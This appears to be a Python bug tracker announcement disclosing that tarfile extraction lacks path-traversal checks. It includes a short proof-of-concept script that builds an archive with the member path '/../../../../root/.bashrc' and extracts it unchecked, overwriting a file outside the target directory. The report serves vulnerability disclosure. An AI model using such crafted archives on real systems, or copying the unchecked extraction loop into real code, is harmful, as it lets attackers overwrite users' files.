[New-bugs-announce] [issue45170] tarfile missing cross-directory checking

[daji ma]

New submission from daji ma <xiongpanju at gmail.com>:

tarfile missing cross-directory checking, like ../ or ..\, this  potentially cause cross-directory decompression.
the exp:
# -*- coding: utf-8 -*-
import tarfile



def extract_tar(file_path, dest_path):
    try:
        with tarfile.open(file_path, 'r') as src_file:
            for info in src_file.getmembers():
                src_file.extract(info.name, dest_path)
        return True
    except (IOError, OSError, tarfile.TarError):
        return False


def make_tar():
    tar_file=tarfile.open('x.tar.gz','w:gz')
    tar_file.add('bashrc', '/../../../../root/.bashrc')
    tar_file.list(verbose=True)
    tar_file.close()


if __name__ == '__main__':
    make_tar()
    extract_tar('x.tar.gz', 'xx')

----------
components: Library (Lib)
messages: 401631
nosy: xiongpanju
priority: normal
severity: normal
status: open
title: tarfile missing cross-directory checking
type: security
versions: Python 3.8

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Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue45170>
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